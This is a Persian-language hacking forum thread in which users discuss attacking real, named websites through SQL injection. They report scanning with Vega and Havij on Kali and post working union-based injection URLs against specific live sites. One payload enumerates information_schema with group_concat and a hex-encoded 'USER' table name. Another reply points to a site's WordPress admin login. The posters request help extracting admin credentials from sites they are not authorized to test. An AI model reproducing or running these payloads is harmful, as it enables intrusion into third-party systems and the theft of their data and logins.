19 ارسال در این موضوع قرار دارد

 

سلام دوستان یه سوال داشتم من یک سایتو با نرم افزار وگا در کالی اسکن کردم و باگ sql injectوcleartext password داره بعد من چط.وی پیجیو که بتونم بهش تزریق کنم پیدا کنم.

سوال دوم باگ cleartext passwotf HTTPچیه تو گوگل زدم تو انجمنم زدم چیزی نیومد بالا اگه میشه یه فیلم اموزشی لینکی جهت یاد گیری یا هرچیزی که بدرد بخوره بدید

سوم http://www.grainfields.ca/view_product.php?id=11 این سایت باگ sql داره تعداد ستون هاش چهارتاس وقتی این دستورو اضافش میکنم +union+select+1,2,3,4-- این ارورو میده 

Internal Server Error قبل از اینم وقتی میخواستم از طریق ادمین پیج وارد شم بعد از زدن یوزر پس این ارور اومد لطفا راهنمایی کنید ممنون

دوست عزیز ارور از ککالی هست کالی هم باگ های مخصوص خودش رو داره پس هویج رو هم امتحان کنید اگر بازم ارور داد من بزودی اموزشی مبنی براین مورد خواهم گذاشت باتشکر یا حق.

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

 الان داشتم یه سایت که باگ sql داشت رو تست میکردم اما نرم افزار هویج ادمین پیج شو بدست نمیاره اینم سایتhttp://www.calidus.ro/en/ داخل تارگت های تمرینی بود 

 

http://calidus.ro/wp-login.php?redirect_to=http%3A%2F%2Fcalidus.ro%2Fwp-admin%2F&reauth=1

 

این قسمت برای ورود به پنل موفق باشید

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

سلام خدمت اساتید 

من تو قسمت فراخوانی تیبل ادمین مشکل دارم 
این سایت دارای باگ = http://www.jabrennan.com
اینم تمام تیبل هایی که داره =

CHARACTER_SETS,CLIENT_STATISTICS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,INNODB_BUFFER_POOL_CONTENT,INDEX_STATISTICS,KEY_COLUMN_USAGE,PROCESSLIST,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TABLE_STATISTICS,TRIGGERS,USER_PRIVILEGES,USER_STATISTICS,VIE

من تیبل USER  رو به هگز=(0x55534552) تبدیل کردم و دستورات رو به این شکل وارد کردم ولی نتیجه ای نگرفتم !

http://www.jabrennan.com/news_display.php?id=-1397+union+select+1,2,3,4,5,6,group_concat(table_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+%20information_schema.columns+where+table_name=0x55534552--

از اساتید درخواست راهنمایی دارم 

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

برای ارسال دیدگاه یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید دیدگاهی ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در سایت ما ثبت نام کنید. عضویت خیلی ساده است !

ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید

ورود به حساب کاربری